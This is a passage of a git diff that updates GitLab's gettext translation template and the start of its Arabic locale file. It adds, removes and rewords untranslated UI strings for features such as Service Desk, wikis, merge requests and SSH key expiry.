+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ar_SA/gitlab.po b/locale/ar_SA/gitlab.po
index 6deefd8ec50..29bddbda4b7 100644
--- a/locale/ar_SA/gitlab.po
+++ b/locale/ar_SA/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ar\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:54\n"
+"PO-Revision-Date: 2021-04-02 00:14\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -160,6 +160,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -307,6 +316,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -628,6 +646,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -640,6 +661,15 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -670,27 +700,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "%{count} more"
msgstr ""
@@ -793,7 +805,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1234,6 +1246,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1375,6 +1390,9 @@ msgstr[5] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1483,6 +1501,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1519,6 +1546,24 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "1 issue selected"
